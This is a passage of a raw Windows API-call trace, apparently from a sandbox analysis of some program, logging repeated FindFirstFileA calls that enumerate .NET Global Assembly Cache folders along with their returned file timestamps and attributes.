ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.890] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Synchronization.Data.SqlServerCe\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa64d00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79462e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79462e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.898] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Synchronization.Data.SqlServerCe\\3.5.0.0__89845dcd8080cc91\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x619d33b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79462e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79462e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Tpm\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x79462e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79462e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.911] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Tpm\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x796c440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x796c440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.917] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Tpm.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x796c440, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x796c440, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.924] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Tpm.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x79925a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79925a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.930] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x79925a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79925a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.934] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\3.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x79925a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79925a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.939] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vbe.Interop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f4edf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79b8700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79b8700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.945] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79b8700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79b8700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.950] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vbe.Interop.Forms\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6164130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79b8700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79b8700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.955] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Vbe.Interop.Forms\\11.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52942450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79de860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79de860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.961] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x79de860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79de860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.969] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x79de860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x79de860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.974] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcfb90e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a049c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a049c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.979] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a049c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a049c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.984] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a2ab20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a2ab20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0231.989] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility.Data\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a2ab20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a2ab20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0231.995] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Vsa\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a2ab20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a2ab20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.001] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Vsa\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a50c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a50c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.009] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualC\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a50c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a50c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.015] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualC\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd21a68, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a76de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a76de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.022] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7a76de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a76de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.029] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualC.STLCLR\\1.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7a76de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a76de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.035] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Adapter\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6946a10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a9cf40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a9cf40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.041] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Adapter\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x526488d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7a9cf40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7a9cf40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.049] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2dc4410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ac30a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ac30a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.071] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Adapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x526488d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7ae9200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ae9200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.076] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3af26c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7ae9200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7ae9200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.081] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd342cc20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x7b0f360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b0f360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.086] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2c214f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b0f360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b0f360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.092] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5863dfb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b0f360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b0f360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.097] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.AddInManager\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6946a10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b354c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b354c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.102] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.AddInManager\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61027a50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b354c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b354c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.107] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Blueprints\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa68fa750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b354c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b354c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.112] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Blueprints\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5258a1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b5b620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b5b620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.118] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ComRPCChannel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa696cb70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b5b620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b5b620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.124] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.ComRPCChannel\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52622770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b81780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b81780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.130] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Contract\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6992cd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b81780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b81780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0232.136] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Applications.Contract\\8.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6104dbb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7b81780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x7b81780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0232.143] FindFirstFileA (in: 